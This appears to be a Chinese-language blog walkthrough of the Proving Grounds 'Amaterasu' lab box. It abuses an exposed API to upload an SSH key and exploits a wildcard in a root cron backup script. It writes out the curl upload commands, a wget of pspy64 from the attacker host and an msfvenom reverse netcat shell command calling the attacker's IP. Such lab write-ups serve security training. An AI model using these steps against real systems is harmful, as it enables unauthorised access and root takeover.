Proving Grounds Play : Amaterasu Walkthrough
Proving Grounds Play : Amaterasu Walkthrough
Foothole (立足點 ) :
- 發現方式 : FTP 可以匿名登入,登入後無法列舉
- 特殊 Port 33414 gobuster 後發現 API 使用方式,可以目錄遍歷列舉使用者 alfredo
- 技術列舉發現 id_rsa 檔案但無法讀取
- 利用 API POST 上傳 authorized_key,後續 ssh -i 成功登入
PE ( 提權 ) :
- cat /etc/crontab 發現使用 root 權限跑的執行檔 backup-flask.sh
- Pspy64 後確認執行的備份 sh 有固定在執行
- 查看檔案內容發現通配符利用漏洞
- 通配符漏洞利用塞入 reverse shell 成功提權建立連線
注意事項 :
- 檔案上傳時有限制副檔名,利用可上傳之副檔名 txt,後續存放點在改名為 -F "filename=/home/alfredo/.ssh/authorized_keys"
- 通配符利用除了建立 reverse shell 外亦可利用建議一個使用者到 /etc/passwd,然後 su 提權
Kali IP : 192.168.45.213
靶機 IP : 192.168.191.249
第一步掃描 Port 資訊
└─$ rustscan -a 192.168.191.249 --scripts none --ulimit 5000 | tee rustscan
snmp check └─$ sudo nmap -sU -p 161 192.168.191.249 | tee snmp
看來沒戲
nmap 掃 Port 資訊
└─$ sudo nmap -sCV -A -Pn -p 21,25022,33414,40080 192.168.191.249 | tee nmap
FTP 支援 Anonymous 匿名登入
25022 Port 是 SSH
33414 看來是個 Web
40080 是 Apache
FTP 匿名 Anonymous 登入看看,結果卡住看來要用 passive mode
重新匿名 Anonymous 登入然後輸入 passive 再列舉試試看,一樣又卡住
嘗試了幾次後暫時先放棄 FTP 列舉
瀏覽器看看 44080,是個 Mozilla 網頁,看來沒戲
40080 /robots.txt 沒有東西
gobuster 目錄列舉試試看,└─$ gobuster -w ./dirfuzzing.txt dir -u http://192.168.191.249:40080 -c -t 150 -x txt,pdf,git,php | tee gobuster-40080
40080 /images/
那張圖就是 Mozilla 那張圖
40080 /styles/ 有個 style.css
內容沒啥幫助
└─$ gobuster -w ./dirfuzzing.txt dir -u http://192.168.191.249:40080/images -c -t 150 -x txt,pdf,git,php | tee gobuster-40080-images
gobuster 40080 Port 列舉 /images & /styles 沒有新的發現,轉戰 33414 Port 列舉看看
33414 / 預設沒有網頁
33414 /robots.txt 不存在
gobuster 33414,└─$ gobuster -w ./dirfuzzing.txt dir -u http://192.168.191.249:33414 -c -t 150 -x txt,pdf,git,php | tee gobuster-33414
獲得兩個路徑 /help & /info
看來是個 API 使用方式的說明網頁
33414 /info 看來是此 API 的簡單說明
獲得一組帳號 : Alfredo Moroder
利用該帳號與自建密碼組合嘗試 25022 SSH 登入看看,結果沒發現有用資訊
/help 網站提到四個路徑,第 1、2 個是網頁資訊
0 "GET /info : General Info"
1 "GET /help : This listing"
2 "GET /file-list?dir=/tmp : List of the files"
3 "POST /file-upload : Upload files"
試試看第三個 http://192.168.191.249:33414/file-list?dir=/tmp
直接列舉出 /tmp 路徑底下的相關檔案
這是 ls 不能讀檔案,所以先看看 /home 目錄,http://192.168.191.249:33414/file-list?dir=/home
只有一個帳號就是該 API 作者帳號 alfredo
http://192.168.191.249:33414/file-list?dir=/home/alfredo ,發現 .ssh
http://192.168.191.249:33414/file-list?dir=/home/alfredo/.ssh,看來有 Key
因為無法讀檔所以拿不到 Private Key
想到第四個 API 是 "POST /file-upload : Upload files",那就改成上傳 authorized_keys 試試看吧
執行指令 └─$ curl -X POST -v http://192.168.191.249:33414/file-upload
查看 curl 使用範例 How do I post a file using Curl? (reqbin.com)
參數是 -F 然後使用 file1=@filename1
上傳 test.txt 試試看
└─$ curl -X POST -v http://192.168.191.249:33414/file-upload -F file=@test.txt
剛剛是 file part 沒有檔案,這次是 file name 沒有檔案名稱,看來是上傳後要指定檔案名稱
嘗試了一番後,發現使用兩次 -F 參數並加上 filename= 即可成功上傳沒有報錯,顯示成功
└─$ curl -X POST -v http://192.168.191.249:33414/file-upload -F file=@test.txt -F filename=/home/alfredo/.ssh/test.txt
再次透過網頁 API 列舉,確認檔案也存在http://192.168.191.249:33414/file-list?dir=/home/alfredo/.ssh
接著使用指令 └─$ ssh-keygen 產生成對的 id_rsa & id_rsa.pub
直接上傳 └─$ curl -X POST -v http://192.168.191.249:33414/file-upload -F file=@id_rsa.pub -F filename=/home/alfredo/.ssh/authorized_keys
這一次報錯 {"message":"Allowed file types are txt, pdf, png, jpg, jpeg, gif"}
一樣再次透過網頁 API 列舉,確認檔案存在
http://192.168.191.249:33414/file-list?dir=/home/alfredo/.ssh
測試登入看看吧,└─$ ssh -i id_rsa alfredo@192.168.191.249 -p 25022,確認成功登入
開始 PE,[alfredo@fedora ~]$ cat /etc/passwd,看來只有 alfredo 這個帳號
看看排程,[alfredo@fedora ~]$ cat /etc/crontab
上傳 pspy64,[alfredo@fedora ~]$ wget http://192.168.45.213:443/pspy64
執行 pspy64 確認該 backup-flask.sh 會固定執行,看來就是它了
查看該檔案內容,一看就是標準的通配符利用
通配符標準利用參考此文章
先建立 reverse shell 指令 └─$ msfvenom -p cmd/unix/reverse_netcat LHOST=192.168.45.213 LPORT=443 R
reverse shell 進來了,whoami、id 確認為 root
留言
張貼留言